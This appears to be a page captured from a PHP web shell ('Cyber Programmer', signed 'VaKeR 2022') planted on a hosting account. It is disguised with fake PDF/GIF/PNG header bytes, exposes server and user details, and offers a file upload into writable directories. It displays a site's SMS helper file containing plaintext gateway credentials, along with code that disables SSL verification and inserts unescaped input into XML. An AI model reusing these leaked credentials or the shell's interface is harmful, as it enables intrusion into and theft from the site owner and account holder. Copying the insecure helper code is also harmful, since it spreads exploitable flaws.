%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_1ec2d7c2/apps/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_1ec2d7c2/apps/helpers/sendsms_helper.php
<?php if(!defined('BASEPATH')) exit('No direct script access allowed');


if ( ! function_exists('CI'))
{
	function CI()
	{
		if (!function_exists('get_instance')) return FALSE;
		
		$CI = &get_instance();		
		return $CI;
	}
}

########################################################
# Login information for the SMS Gateway
########################################################
 global $user,$password,$senderid,$smsurl,$key,$accusage,$client_code;
$user = "ANDHRA";
$password = "PSRao@16";
$senderid = "ANDHRA";
$key = '4c64f40241XX';
$client_code = '34010';
$accusage = '2';
$smsurl = "http://mobicomm.dove-sms.com/mobicomm//submitsms.jsp?";

########################################################
# Functions used to send the SMS message
########################################################


if ( ! function_exists('SMSSend')){	

function SMSSend($phone, $msg, $debug=false){
	//$CI = CI();
	//$CI->config->item('user');
     global $user,$password,$senderid,$smsurl,$key,$accusage,$client_code;
	 
	 $xml_data ='<?xml version="1.0"?>
<parent>
<child>
<user>'.$user.'</user>
<key>'.$key.'</key>
<mobile>'.$phone.'</mobile>
<message>'.$msg.'</message>
<accusage>2</accusage>
<senderid>'.$senderid.'</senderid>
</child>
</parent>';


$URL = "http://mobicomm.dove-sms.com/mobicomm//submitsms.jsp?"; 

			$ch = curl_init($URL);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_ENCODING, 'UTF-8');
			curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/xml'));
			curl_setopt($ch, CURLOPT_POSTFIELDS, "$xml_data");
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			$output = curl_exec($ch);
			curl_close($ch);

//print_r($output); 


     
    
}

}




########################################################
# GET data from sendsms.html
########################################################






VaKeR 2022